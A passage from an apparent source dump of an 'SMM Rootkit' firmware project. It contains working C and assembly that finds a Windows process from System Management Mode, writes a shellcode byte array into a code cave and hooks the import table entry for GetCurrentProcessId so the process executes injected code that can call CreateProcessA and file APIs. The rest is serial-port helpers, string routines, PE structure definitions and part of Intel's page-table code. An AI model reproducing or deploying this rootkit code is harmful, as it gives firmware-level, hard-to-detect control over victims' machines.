0xD8, 0x02, 0x00, 0x00, 0x00, 0xBA, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0x53, 0x20, 0x48, 0x8B, 0xF8, 0x48, 0x83, 0xF8, 0xFF, 0x74, 0x24, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x48, 0x8D, 0x93, 0xBC, 0x00, 0x00, 0x00, 0x45, 0x33, 0xC9, 0x48, 0x8B, 0xC8, 0x45, 0x8D, 0x41, 0x10, 0xFF, 0x53, 0x48, 0x48, 0x8B, 0xCF, 0xFF, 0x53, 0x18, 0xC6, 0x43, 0x08, 0xFF, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x40, 0x5F, 0xC3 }; // these vars are needed between different stages, therefore // they are defined global static WinProc TargetProcess; static WinModule TargetModule; static PE_THUNKINFO_IAT oThunkInfoIAT; static UINT64 vaCodeCave; static UINT64 vaWriteCave; static WinUmdIATState currState; // Find the process static BOOLEAN WindowsUmdIATHookStage1() { //----------------------------------------- // 0: Find the process and its base module //----------------------------------------- BOOLEAN verbose = FALSE; WinProc process; if (!DumpSingleProcess(winGlobal, "smm_target.exe", &process, verbose)) { return FALSE; } else { TargetProcess.dirBase = process.dirBase; TargetProcess.physProcess = process.physProcess; TargetProcess.process = process.process; } TargetModule.name = "smm_target.exe"; if (!DumpSingleModule(winGlobal, &TargetProcess, &TargetModule, verbose)) { SerialPrintStringDebug("Failed parsing the base exe module! \r\n"); return FALSE; } return TRUE; } // From pcileech, for injecting UM shellcode into the target static BOOLEAN WindowsUmdIATHookStage2() { WinUmdIATCtxLimited ctx; CHAR8 *HookModuleName = "kernel32.dll"; CHAR8 *HookFunctionName = "GetCurrentProcessId"; // Sanity checking if (TargetProcess.dirBase == 0 || TargetModule.baseAddress == 0) { SerialPrintStringDebug("The process dirbase or its module baseaddress was 0!\r\n"); return FALSE; } // Nullify variables that were possibly set last time vaCodeCave = 0; vaWriteCave = 0; for (INT32 i = 0; i < sizeof(PE_THUNKINFO_IAT); i++) { ((UINT8 *)&oThunkInfoIAT)[i] = 0; } //-------------------------------------------------------------------------- // 1: Verify process and locate 'IAT inject', r-x 'code cave' and rw- 'config cave'. //-------------------------------------------------------------------------- SerialPrintStringDebug(" Getting process IAT Thunk ...\r\n"); if (!ProcessGetThunkInfoIAT(&TargetProcess, &TargetModule, HookModuleName, HookFunctionName, &oThunkInfoIAT)) { SerialPrintString("ERROR: UMD EXEC: Could not get IAT Info!\r\n"); return FALSE; } if (!oThunkInfoIAT.fValid || oThunkInfoIAT.f32) { SerialPrintString("ERROR: UMD: EXEC: Could not retrieve valid hook in 64-bit process.\r\n"); return FALSE; } SerialPrintStringDebug(" Finding process sections for code & write caves ...\r\n"); UINT32 cSections; PIMAGE_SECTION_HEADER pSections; if (!ProcessGetSections(&TargetProcess, &TargetModule, NULL, 0, &cSections) || !cSections) { SerialPrintString("ERROR: UMD: EXEC: Could not retrieve sections #1\r\n"); return FALSE; } pSections = (PIMAGE_SECTION_HEADER)malloc(cSections * sizeof(IMAGE_SECTION_HEADER)); if (!pSections || !ProcessGetSections(&TargetProcess, &TargetModule, pSections, cSections, &cSections) || !cSections) { SerialPrintString("ERROR: UMD: EXEC: Could not retrieve sections #2\r\n"); return FALSE; } for (UINT32 i = 0; i < cSections; i++) { // 0x500 magic number for ShellCode to fit in if (!vaCodeCave && (pSections[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && ((pSections[i].Misc.VirtualSize & 0xfff) < (0x1000 - 0x500))) { vaCodeCave = TargetModule.baseAddress + ((pSections[i].VirtualAddress + pSections[i].Misc.VirtualSize + 0xfff) & ~0xfff) - 0x500; if (!VTOP(vaCodeCave & ~0xfff, TargetProcess.dirBase, FALSE)) { vaCodeCave = 0; // read test failed! } } if (!vaWriteCave && (pSections[i].Characteristics & IMAGE_SCN_MEM_WRITE) && ((pSections[i].Misc.VirtualSize & 0xfff) < (0x1000 - sizeof(ctx)))) { vaWriteCave += TargetModule.baseAddress + ((pSections[i].VirtualAddress + pSections[i].Misc.VirtualSize + 0xfff) & ~0xfff) - sizeof(ctx); if (!VTOP(vaWriteCave & ~0xfff, TargetProcess.dirBase, FALSE)) { vaWriteCave = 0; // read test failed! } } } if (!vaCodeCave || !vaWriteCave) { if (!vaCodeCave) { SerialPrintString("ERROR: UMD: EXEC: Could not find a code cave!\r\n"); } if (!vaWriteCave) { SerialPrintString("ERROR: UMD: EXEC: Could not find a write cave!\r\n"); } return FALSE; } //------------------------------------------------ // 2: Prepare injection and patch shellcode //------------------------------------------------ SerialPrintStringDebug(" Suitable caves found! Dumping kernel32.dll exports ...\r\n"); // Prepare shellcode (goes into r-x section) UINT8 *ShellCode = (UINT8 *)malloc(sizeof(WinUmdIATShellCode)); p_memCpy((UINT64)ShellCode, (UINT64)WinUmdIATShellCode, sizeof(WinUmdIATShellCode), FALSE); *(UINT64 *)(ShellCode + 0x08) = vaWriteCave; *(UINT64 *)(ShellCode + 0x10) = oThunkInfoIAT.vaFunction; // Dump the module kernel32.dll, we need it to map exports WinModule kernel32_dll; kernel32_dll.name = "kernel32.dll"; if (!DumpSingleModule(winGlobal, &TargetProcess, &kernel32_dll, FALSE)) { SerialPrintStringDebug("Could not dump kernel32.dll from the target process!\r\n"); free(ShellCode); return FALSE; } // TODO: atomicity / mutex with cmpxchg as in pcileech ! ctx.CMPXCHG = 0; // Prepare configuration data (goes into rw- section) ctx.fn.CloseHandle = ProcessGetProcAddress(&TargetProcess, &kernel32_dll, "CloseHandle"); ctx.fn.CreateFileA = ProcessGetProcAddress(&TargetProcess, &kernel32_dll, "CreateFileA"); ctx.fn.CreateProcessA = ProcessGetProcAddress(&TargetProcess, &kernel32_dll, "CreateProcessA"); ctx.fn.CreateThread = ProcessGetProcAddress(&TargetProcess, &kernel32_dll, "CreateThread"); ctx.fn.GetExitCodeProcess = ProcessGetProcAddress(&TargetProcess, &kernel32_dll, "GetExitCodeProcess"); ctx.fn.ReadFile = ProcessGetProcAddress(&TargetProcess, &kernel32_dll, "ReadFile"); ctx.fn.WriteFile = ProcessGetProcAddress(&TargetProcess, &kernel32_dll, "WriteFile"); ctx.fn.LocalAlloc = ProcessGetProcAddress(&TargetProcess, &kernel32_dll, "LocalAlloc"); // hardcoded name to make it ez p_memCpy((UINT64)ctx.ParamString1, (UINT64) "c:\\smm.txt", strlen("c:\\smm.txt") + 1, FALSE); p_memCpy((UINT64)ctx.ParamString2, (UINT64) "Hello from SMM!", strlen("Hello from SMM!") + 1, FALSE); //------------------------------------------------ // 4: TODO: Inject & hook IAT //------------------------------------------------ v_memWrite(vaWriteCave, (UINT64)&ctx, sizeof(WinUmdIATCtxLimited), TargetProcess.dirBase, FALSE); v_memWrite(vaCodeCave, (UINT64)ShellCode, sizeof(WinUmdIATShellCode), TargetProcess.dirBase, FALSE); v_memWrite(oThunkInfoIAT.vaThunk, (UINT64)&vaCodeCave, 8, TargetProcess.dirBase, FALSE); free(ShellCode); return TRUE; } static BOOLEAN WindowsUmdIATHookStage3() { //------------------------------------------------ // 5: Check for execution after wait //------------------------------------------------ BOOLEAN ret = TRUE; WinUmdIATCtxLimited ctx; v_memReadMultiPage((UINT64)&ctx, (UINT64)&vaWriteCave, sizeof(WinUmdIATCtxLimited), TargetProcess.dirBase, FALSE); // The UMD program did not update the status field in context struct, // the execution failed if (!ctx.Status) { SerialPrintStringDebug(" UMD: FAILED! Error or Timeout after 15s.\r\n"); ret = FALSE; } else SerialPrintStringDebug(" UMD: Execution succeeded! Restoring ...\r\n"); //------------------------------------------------ // 6: Restore //------------------------------------------------ // Restore the IAT hook v_memWrite(oThunkInfoIAT.vaThunk, (UINT64)&oThunkInfoIAT.vaFunction, 8, TargetProcess.dirBase, FALSE); // Nullify write cave ... for (INT32 i = 0; sizeof(WinUmdIATCtxLimited); i++) { ((UINT8 *)&ctx)[i] = 0; } v_memWrite(vaWriteCave, (UINT64)&ctx, sizeof(WinUmdIATCtxLimited), TargetProcess.dirBase, FALSE); // ... and the code cave. If malloc fails, we simply // bail out without restoring the code cave. UINT8 *ShellCode = (UINT8 *)malloc(sizeof(WinUmdIATShellCode)); if (!ShellCode) { SerialPrintStringDebug(" UMD: Restoring code cave failed! Execution may have succeeded anyway ...\r\n"); return ret; } for (INT32 i = 0; i < sizeof(WinUmdIATShellCode); i++) { ShellCode[i] = 0; } free(ShellCode); return ret; } BOOLEAN WindowsUmdIATHook() { // Choose appropriate action depending on current state switch (currState) { case SUCCESS: { return TRUE; } case NO_PROCESS: { SerialPrintStringDebug("\r\n== Finding target process ... ==\r\n"); // If we (still) can't find the process, bail out if (!WindowsUmdIATHookStage1()) { SerialPrintStringDebug("\r\n Could not find target process ... We will try again :-)\r\n"); break; } SerialPrintStringDebug("\r\n== Found and dumped process! Starting IAT Hooking ==\r\n"); // If the stage 2 succeeds, change the status so that // the execution is waited next time this func is entered if (WindowsUmdIATHookStage2()) { SerialPrintStringDebug("\r\n== IAT Hooking done! Now waiting for execution :-) == \r\n\r\n"); currState = WAITING_EXECUTION; } else { currState = NO_PROCESS; } break; } case WAITING_EXECUTION: { // TODO: check time if (WindowsUmdIATHookStage3()) { SerialPrintStringDebug("\r\n== !!IAT Hooking successful!! == \r\n\r\n"); currState = SUCCESS; } else { // Start from beginning if the hooking failed currState = NO_PROCESS; } break; } } return TRUE; } VOID InitWindowsUmdIATHook() { currState = NO_PROCESS; return; } ================================================ FILE: SMM Rootkit/SMMRootkit/WinUmdIATHook.h ================================================ #ifndef __smmrootkit_win_umd_iat_h__ #define __smmrootkit_win_umd_iat_h__ #include #include "windows.h" #include "WinTools.h" #include "serial.h" #include "Memory.h" typedef enum _WinUmdIATState { NO_PROCESS, WAITING_EXECUTION, SUCCESS } WinUmdIATState; // struct shared with wx64_umd_exec_c.c typedef struct _WinUmdIATCtx { INT64 CMPXCHG; CHAR8 Status; VOID *ProcessHandle; struct { UINT64 CloseHandle; UINT64 CreateFileA; UINT64 CreateProcessA; UINT64 CreateThread; UINT64 GetExitCodeProcess; UINT64 ReadFile; UINT64 WriteFile; UINT64 LocalAlloc; } fn; // These strings are used to transfer needed information // to the userspace process CHAR8 ParamString1[100]; CHAR8 ParamString2[100]; } WinUmdIATCtxLimited; BOOLEAN WindowsUmdIATHook(); VOID InitWindowsUmdIATHook(); #endif ================================================ FILE: SMM Rootkit/SMMRootkit/helpers.asm ================================================ .CODE ; ; UINT64 GetCR0(VOID) ; GetCR0 proc mov rax, cr0 ret GetCR0 endp ; ; UINT64 GetCR3(VOID) ; GetCR3 proc mov rax, cr3 ret GetCR3 endp ; ; UINT64 GetCR4(VOID) ; GetCR4 proc mov rax, cr4 ret GetCR4 endp ; ; VOID LoadIDTR(UINT64 IDTR) ; LoadIDTR proc sidt fword ptr [rcx] ret LoadIDTR endp ; ; UINT64 ReadMsr64(UINT32 Index) ; ReadMsr64 proc rdmsr ; edx & eax are zero extended shl rdx, 0x20 or rax, rdx ret ReadMsr64 endp ; ; UINT64 WriteMsr64(IN UINT32 Index, IN UINT64 Value) ; WriteMsr64 proc mov rax, rdx ; meanwhile, rax <- return value shr rdx, 0x20 ; edx:eax contains the value to write wrmsr ret WriteMsr64 endp ; ; VOID GenerateSMI(VOID) ; GenerateSMI proc mov al, 0x8A ; meanwhile, rax <- return value out 0xB2, al ; edx:eax contains the value to write GenerateSMI endp ; ; VOID SetDR0(UINT64 physicalAddress) ; SetDR0 proc mov dr0, rcx mov rax, rcx ret SetDR0 endp ; ; UINT64 GetDR0(VOID) ; GetDR0 proc mov rax, dr0 ret GetDR0 endp ; ; VOID SetDR1(UINT64 physicalAddress) ; SetDR1 proc mov dr1, rcx mov rax, rcx ret SetDR1 endp ; ; UINT64 GetDR1(VOID) ; GetDR1 proc mov rax, dr1 ret GetDR1 endp ; ; VOID SetDR2(UINT64 physicalAddress) ; SetDR2 proc mov dr2, rcx mov rax, rcx ret SetDR2 endp ; ; UINT64 GetDR2(VOID) ; GetDR2 proc mov rax, dr2 ret GetDR2 endp ; ; UINTN SetDR3(UINT64 physicalAddress) ; SetDR3 proc mov dr3, rcx mov rax, rcx ret SetDR3 endp ; ; UINT64 GetDR3(VOID) ; GetDR3 proc mov rax, dr3 ret GetDR3 endp ; ; VOID LongkitEFLAGS(UINT64 PhysRSP) ; LongkitEFLAGS proc mov rbx, [rax + 24] or rbx, 400000 mov [rax + 24], rbx LongkitEFLAGS endp END ================================================ FILE: SMM Rootkit/SMMRootkit/serial.c ================================================ #include "serial.h" /* * UART Register Offsets */ #define BAUD_LOW_OFFSET 0x00 #define BAUD_HIGH_OFFSET 0x01 #define IER_OFFSET 0x01 #define LCR_SHADOW_OFFSET 0x01 #define FCR_SHADOW_OFFSET 0x02 #define IR_CONTROL_OFFSET 0x02 #define FCR_OFFSET 0x02 #define EIR_OFFSET 0x02 #define BSR_OFFSET 0x03 #define LCR_OFFSET 0x03 #define MCR_OFFSET 0x04 #define LSR_OFFSET 0x05 #define MSR_OFFSET 0x06 /* * UART Register Bit Defines */ #define LSR_TXRDY 0x20 #define LSR_RXDA 0x01 #define DLAB 0x01 /* * UART Settings */ UINT8 m_Data = 8; UINT8 m_Stop = 1; UINT8 m_Parity = 0; UINT8 m_BreakSet = 0; VOID SerialPortInitialize(UINT16 Port, UINTN Baudrate) { // Map 5..8 to 0..3 UINT8 Data = (UINT8)(m_Data - (UINT8)5); // Calculate divisor for baud generator UINTN Divisor = SERIAL_BAUDRATE_MAX / Baudrate; // Set communications format UINT8 OutputData = (UINT8)((DLAB << 7) | (m_BreakSet << 6) | (m_Parity << 3) | (m_Stop << 2) | Data); IoWrite8((UINTN)(Port + LCR_OFFSET), OutputData); // Configure baud rate IoWrite8((UINTN)(Port + BAUD_HIGH_OFFSET), (UINT8)(Divisor >> 8)); IoWrite8((UINTN)(Port + BAUD_LOW_OFFSET), (UINT8)(Divisor & 0xff)); // Switch back to bank 0 OutputData = (UINT8)((~DLAB << 7) | (m_BreakSet << 6) | (m_Parity << 3) | (m_Stop << 2) | Data); IoWrite8((UINTN)(Port + LCR_OFFSET), OutputData); } VOID SerialPortWrite(UINT16 Port, UINT8 Data) { UINT8 Status = 0; do { // Wait for the serail port to be ready Status = IoRead8(Port + LSR_OFFSET); } while ((Status & LSR_TXRDY) == 0); IoWrite8(Port, Data); } UINT8 SerialPortRead(UINT16 Port) { UINT8 Status = 0; do { // Wait for the serail port to be ready Status = IoRead8(Port + LSR_OFFSET); } while ((Status & LSR_RXDA) == 0); return IoRead8(Port); } VOID SerialPrintString(const char *text) { SerialPortInitialize(SERIAL_PORT_0, SERIAL_BAUDRATE); while (*text) { // send single byte via serial port SerialPortWrite(SERIAL_PORT_0, *text++); } } VOID SerialPrintStringDebug(const char *text) { #ifdef ROOTKIT_VERBOSE SerialPrintString(text); #endif } VOID SerialTest() { // Send 0xA 8 times for (int i = 0; i < 8; i++) { SerialPortWrite(SERIAL_PORT_0, 0xA); } } VOID SerialSendData(const VOID *buf, UINT8 len) { for (UINT64 i = 0; i < len; i++) { SerialPortWrite(SERIAL_PORT_0, ((const char *)buf)[i]); } } VOID SerialPrintNumber(INT64 _v, INT64 _b) { char _r[100]; // check validity if (_b < 2 || _b > 36) { *_r = 0; return; } char *ptr = _r; char *ptr1 = _r; char tmp_char; INT64 tmp_value; do { tmp_value = _v; _v /= _b; *ptr++ = "zyxwvutsrqponmlkjihgfedcba9876543210123456789abcdefghijklmnopqrstuvwxyz"[35 + (tmp_value - _v * _b)]; } while (_v); // is the value neg? if (tmp_value < 0 && _b == 10) { *ptr++ = '-'; } *ptr-- = '\0'; while (ptr1 < ptr) { tmp_char = *ptr; *ptr-- = *ptr1; *ptr1++ = tmp_char; } SerialPrintString(_r); } VOID SerialPrintNumberDebug(UINT64 _v, UINT64 _b) { #ifdef ROOTKIT_VERBOSE SerialPrintNumber(_v, _b); #endif } ================================================ FILE: SMM Rootkit/SMMRootkit/serial.h ================================================ #ifndef __smmrootkit_serial_h__ #define __smmrootkit_serial_h__ /* * Serial port configuration. * For EFI_DEBUG_SERIAL_BUILTIN and EFI_DEBUG_SERIAL_PROTOCOL. * Port 0 is the default port on the motherboard */ #define SERIAL_BAUDRATE_MAX 115200 #define SERIAL_BAUDRATE 115200 #define SERIAL_PORT_0 0x3F8 #define ROOTKIT_VERBOSE #include #include #include /* *Initialize the serial device hardware. */ VOID SerialPortInitialize(UINT16 Port, UINTN Baudrate); /* * Write data to serial device. */ VOID SerialPortWrite(UINT16 Port, UINT8 Data); /* * Reads data from a serial device. */ UINT8 SerialPortRead(UINT16 Port); /* * Writes a nul-terminated string to the serial */ VOID SerialPrintString(const char* text); /* * Debug-version of SerialPrintString. Only prints * if ROOTKIT_VERBOSE is defined */ VOID SerialPrintStringDebug(const char* text); /* * Send 0xA 8 times to test serial output */ VOID SerialTest(); /* * Send raw data over serial */ VOID SerialSendData(const VOID* buf, UINT8 len); /* * Print a number into serial. * * @param _v --> the value to print * @param _b --> the base to convert to */ VOID SerialPrintNumber(INT64 _v, INT64 _b); /* * Debug-version of SerialPrintNumber. Only prints * if ROOTKIT_VERBOSE is defined */ VOID SerialPrintNumberDebug(UINT64 _v, UINT64 _b); #endif ================================================ FILE: SMM Rootkit/SMMRootkit/string.c ================================================ #include "string.h" size_t strlen(const CHAR8 *str) { const CHAR8 *s; for (s = str; *s; ++s) ; return (s - str); } CHAR8 *strcat(CHAR8 *destination, const CHAR8 *source) { // make ptr point to the end of destination string CHAR8 *ptr = destination + strlen(destination); // Appends characters of source to the destination string while (*source != '\0') *ptr++ = *source++; // null terminate destination string *ptr = '\0'; // destination is returned by standard strcat() return destination; } INT32 memcmp(const VOID *str1, const VOID *str2, size_t count) { register const UINT8 *s1 = (const UINT8 *)str1; register const UINT8 *s2 = (const UINT8 *)str2; while (count-- > 0) { if (*s1++ != *s2++) return s1[-1] < s2[-1] ? -1 : 1; } return 0; } CHAR8 tolower(UINT8 ch) { if (ch >= 'A' && ch <= 'Z') ch = 'a' + (ch - 'A'); return ch; } INT32 stricmp(const CHAR8 *s1, const CHAR8 *s2) { const UINT8 *us1 = (const UINT8 *)s1, *us2 = (const UINT8 *)s2; while (tolower(*us1) == tolower(*us2++)) if (*us1++ == '\0') return (0); return (tolower(*us1) - tolower(*--us2)); } INT32 strcmp(const CHAR8 *s1, const CHAR8 *s2) { for (; *s1 == *s2; ++s1, ++s2) if (*s1 == 0) return 0; return *(UINT8 *)s1 < *(UINT8 *)s2 ? -1 : 1; } INT32 strncmp(const CHAR8 *s1, const CHAR8 *s2, size_t n) { while (n && *s1 && (*s1 == *s2)) { ++s1; ++s2; --n; } if (n == 0) { return 0; } else { return (*(UINT8 *)s1 - *(UINT8 *)s2); } } const CHAR8 *strstr(const CHAR8 *X, const CHAR8 *Y) { size_t n = strlen(Y); while (*X) { if (!memcmp(X, Y, n)) return X; X++; } return 0; } CHAR8 *strdup(CHAR8 *src) { CHAR8 *str; CHAR8 *p; INT32 len = 0; while (src[len]) len++; str = malloc(len + 1); // gotta be safe, our malloc might actually fail :-) if (!str) { return NULL; } p = str; while (*src) *p++ = *src++; *p = '\0'; return str; } ================================================ FILE: SMM Rootkit/SMMRootkit/string.h ================================================ #ifndef __smmrootkit_string_h__ #define __smmrootkit_string_h__ #include #include "MemManager.h" // strdup #ifdef __GNUC__ typedef UINT32 size_t; #endif size_t strlen(const CHAR8 *str); CHAR8 *strcat(CHAR8 *destination, const CHAR8 *source); INT32 memcmp(const VOID *str1, const VOID *str2, size_t count); INT32 strcmp(const CHAR8 *s1, const CHAR8 *s2); INT32 strncmp(const CHAR8 *s1, const CHAR8 *s2, size_t n); INT32 stricmp(const CHAR8 *s1, const CHAR8 *s2); const CHAR8 *strstr(const CHAR8 *X, const CHAR8 *Y); CHAR8 *strdup(CHAR8 *src); #endif ================================================ FILE: SMM Rootkit/SMMRootkit/windows.h ================================================ /* * This file has originally been supplied from * vmread by Heep042 */ #ifndef __smmrootkit_windows_h__ #define __smmrootkit_windows_h__ #ifdef __GNUC__ typedef unsigned int size_t; #endif #define HEADER_SIZE 0x1000 #define PAGE_OFFSET_SIZE 12 static const UINT64 PMASK = (~0xfull << 8) & 0xfffffffffull; static const UINT64 PMASK2 = (~0xfull << 8) & 0xfffffffffull; #define IMAGE_NT_OPTIONAL_HDR32_MAGIC 0x10b #define IMAGE_NT_OPTIONAL_HDR64_MAGIC 0x20b #define IMAGE_DIRECTORY_ENTRY_EXPORT 0 /* Export Directory */ #define IMAGE_DOS_SIGNATURE 0x5a4d /* MZ */ #define IMAGE_NT_SIGNATURE 0x4550 /* PE00 */ #define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16 #define IMAGE_SIZEOF_SHORT_NAME 8 typedef struct _IMAGE_DOS_HEADER { UINT16 e_magic; UINT16 e_cblp; UINT16 e_cp; UINT16 e_crlc; UINT16 e_cparhdr; UINT16 e_minalloc; UINT16 e_maxalloc; UINT16 e_ss; UINT16 e_sp; UINT16 e_csum; UINT16 e_ip; UINT16 e_cs; UINT16 e_lfarlc; UINT16 e_ovno; UINT16 e_res[4]; UINT16 e_oemid; UINT16 e_oeminfo; UINT16 e_res2[10]; int e_lfanew; } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER; typedef struct _IMAGE_EXPORT_DIRECTORY { UINT32 Characteristics; UINT32 TimeDateStamp; UINT16 MajorVersion; UINT16 MinorVersion; UINT32 Name; UINT32 Base; UINT32 NumberOfFunctions; UINT32 NumberOfNames; UINT32 AddressOfFunctions; UINT32 AddressOfNames; UINT32 AddressOfNameOrdinals; } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY; typedef struct _IMAGE_FILE_HEADER { UINT16 Machine; UINT16 NumberOfSections; UINT32 TimeDateStamp; UINT32 PointerToSymbolTable; UINT32 NumberOfSymbols; UINT16 SizeOfOptionalHeader; UINT16 Characteristics; } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER; typedef struct _IMAGE_DATA_DIRECTORY { UINT32 VirtualAddress; UINT32 Size; } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY; typedef struct _IMAGE_OPTIONAL_HEADER64 { UINT16 Magic; UINT8 MajorLinkerVersion; UINT8 MinorLinkerVersion; UINT32 SizeOfCode; UINT32 SizeOfInitializedData; UINT32 SizeOfUninitializedData; UINT32 AddressOfEntryPoint; UINT32 BaseOfCode; UINT64 ImageBase; UINT32 SectionAlignment; UINT32 FileAlignment; UINT16 MajorOperatingSystemVersion; UINT16 MinorOperatingSystemVersion; UINT16 MajorImageVersion; UINT16 MinorImageVersion; UINT16 MajorSubsystemVersion; UINT16 MinorSubsystemVersion; UINT32 Win32VersionValue; UINT32 SizeOfImage; UINT32 SizeOfHeaders; UINT32 CheckSum; UINT16 Subsystem; UINT16 DllCharacteristics; UINT64 SizeOfStackReserve; UINT64 SizeOfStackCommit; UINT64 SizeOfHeapReserve; UINT64 SizeOfHeapCommit; UINT32 LoaderFlags; UINT32 NumberOfRvaAndSizes; IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; } IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64; typedef struct _IMAGE_NT_HEADERS64 { UINT32 Signature; IMAGE_FILE_HEADER FileHeader; IMAGE_OPTIONAL_HEADER64 OptionalHeader; } IMAGE_NT_HEADERS64, IMAGE_NT_HEADERS, *PIMAGE_NT_HEADERS64, *PIMAGE_NT_HEADERS; typedef struct _IMAGE_OPTIONAL_HEADER32 { UINT16 Magic; UINT8 MajorLinkerVersion; UINT8 MinorLinkerVersion; UINT32 SizeOfCode; UINT32 SizeOfInitializedData; UINT32 SizeOfUninitializedData; UINT32 AddressOfEntryPoint; UINT32 BaseOfCode; UINT32 BaseOfData; UINT32 ImageBase; UINT32 SectionAlignment; UINT32 FileAlignment; UINT16 MajorOperatingSystemVersion; UINT16 MinorOperatingSystemVersion; UINT16 MajorImageVersion; UINT16 MinorImageVersion; UINT16 MajorSubsystemVersion; UINT16 MinorSubsystemVersion; UINT32 Win32VersionValue; UINT32 SizeOfImage; UINT32 SizeOfHeaders; UINT32 CheckSum; UINT16 Subsystem; UINT16 DllCharacteristics; UINT32 SizeOfStackReserve; UINT32 SizeOfStackCommit; UINT32 SizeOfHeapReserve; UINT32 SizeOfHeapCommit; UINT32 LoaderFlags; UINT32 NumberOfRvaAndSizes; IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32; typedef struct _IMAGE_NT_HEADERS32 { UINT32 Signature; IMAGE_FILE_HEADER FileHeader; IMAGE_OPTIONAL_HEADER32 OptionalHeader; } IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32; typedef struct _IMAGE_SECTION_HEADER { UINT8 Name[IMAGE_SIZEOF_SHORT_NAME]; union { UINT32 PhysicalAddress; UINT32 VirtualSize; } Misc; UINT32 VirtualAddress; UINT32 SizeOfRawData; UINT32 PointerToRawData; UINT32 PointerToRelocations; UINT32 PointerToLinenumbers; UINT16 NumberOfRelocations; UINT16 NumberOfLinenumbers; UINT32 Characteristics; } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER; typedef struct _LIST_ENTRY_WIN { UINT64 f_link; UINT64 b_link; } LIST_ENTRY_WIN; typedef struct _UNICODE_STRING { UINT16 length; UINT16 maximum_length; UINT64 buffer; } UNICODE_STRING; typedef struct _LDR_MODULE { LIST_ENTRY_WIN InLoadOrderModuleList; LIST_ENTRY_WIN InMemoryOrderModuleList; LIST_ENTRY_WIN InInitializationOrderModuleList; UINT64 BaseAddress; UINT64 EntryPoint; UINT64 SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; UINT64 Flags; short LoadCount; short TlsIndex; LIST_ENTRY_WIN HashTableEntry; UINT64 TimeDateStamp; } LDR_MODULE, *PLDR_MODULE; typedef struct _PEB_LDR_DATA { UINT64 Length; UINT8 Initialized; UINT64 SsHandle; LIST_ENTRY_WIN InLoadOrderModuleList; LIST_ENTRY_WIN InMemoryOrderModuleList; LIST_ENTRY_WIN InInitializationOrderModuleList; UINT64 EntryInProgress; } PEB_LDR_DATA; typedef struct _PEB { UINT8 InheritedAddressSpace; UINT8 ReadImageFileExecOptions; UINT8 BeingFebugged; UINT8 BitField; UINT8 Padding0[4]; UINT64 Mutant; UINT64 ImageBaseAddress; UINT64 Ldr; } PEB, PEB64; typedef struct _LIST_ENTRY_32_WIN { UINT32 f_link; UINT32 b_link; } LIST_ENTRY_32_WIN; typedef struct _UNICODE_STRING32 { UINT16 length; UINT16 maximum_length; UINT32 buffer; } UNICODE_STRING32; typedef struct _LDR_MODULE32 { LIST_ENTRY_32_WIN InLoadOrderModuleList; LIST_ENTRY_32_WIN InMemoryOrderModuleList; LIST_ENTRY_32_WIN InInitializationOrderModuleList; UINT32 BaseAddress; UINT32 EntryPoint; UINT32 SizeOfImage; UNICODE_STRING32 FullDllName; UNICODE_STRING32 BaseDllName; UINT32 Flags; short LoadCount; short TlsIndex; LIST_ENTRY_32_WIN HashTableEntry; UINT32 TimeDateStamp; } LDR_MODULE32, *PLDR_MODULE32; typedef struct _PEB_LDR_DATA32 { UINT32 Length; UINT8 Initialized; UINT32 SsHandle; LIST_ENTRY_32_WIN InLoadOrderModuleList; LIST_ENTRY_32_WIN InMemoryOrderModuleList; LIST_ENTRY_32_WIN InInitializationOrderModuleList; UINT32 EntryInProgress; } PEB_LDR_DATA32; typedef struct _PEB32 { UINT8 InheritedAddressSpace; UINT8 ReadImageFileExecOptions; UINT8 BeingFebugged; UINT8 BitField; UINT32 Mutant; UINT32 ImageBaseAddress; UINT32 Ldr; } PEB32; #endif ================================================ FILE: SMM Rootkit/UefiCpuPkg/PiSmmCpuDxeSmm/X64/PageTbl.c ================================================ /** @file Page Fault (#PF) handler for X64 processors Copyright (c) 2009 - 2017, Intel Corporation. All rights reserved.
Copyright (c) 2017, AMD Incorporated. All rights reserved.
This program and the accompanying materials are licensed and made available under the terms and conditions of the BSD License which accompanies this distribution. The full text of the license may be found at http://opensource.org/licenses/bsd-license.php THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. **/ #include "PiSmmCpuDxeSmm.h" #define PAGE_TABLE_PAGES 8 #define ACC_MAX_BIT BIT3 LIST_ENTRY mPagePool = INITIALIZE_LIST_HEAD_VARIABLE (mPagePool); BOOLEAN m1GPageTableSupport = FALSE; BOOLEAN mCpuSmmStaticPageTable; /** Check if 1-GByte pages is supported by processor or not. @retval TRUE 1-GByte pages is supported. @retval FALSE 1-GByte pages is not supported. **/ BOOLEAN Is1GPageSupport ( VOID ) { UINT32 RegEax; UINT32 RegEdx; AsmCpuid (0x80000000, &RegEax, NULL, NULL, NULL); if (RegEax >= 0x80000001) { AsmCpuid (0x80000001, NULL, NULL, NULL, &RegEdx); if ((RegEdx & BIT26) != 0) { return TRUE; } } return FALSE; } /** Set sub-entries number in entry. @param[in, out] Entry Pointer to entry @param[in] SubEntryNum Sub-entries number based on 0: 0 means there is 1 sub-entry under this entry 0x1ff means there is 512 sub-entries under this entry **/ VOID SetSubEntriesNum ( IN OUT UINT64 *Entry, IN UINT64 SubEntryNum ) { // // Sub-entries number is saved in BIT52 to BIT60 (reserved field) in Entry // *Entry = BitFieldWrite64 (*Entry, 52, 60, SubEntryNum); } /** Return sub-entries number in entry. @param[in] Entry Pointer to entry @return Sub-entries number based on 0: 0 means there is 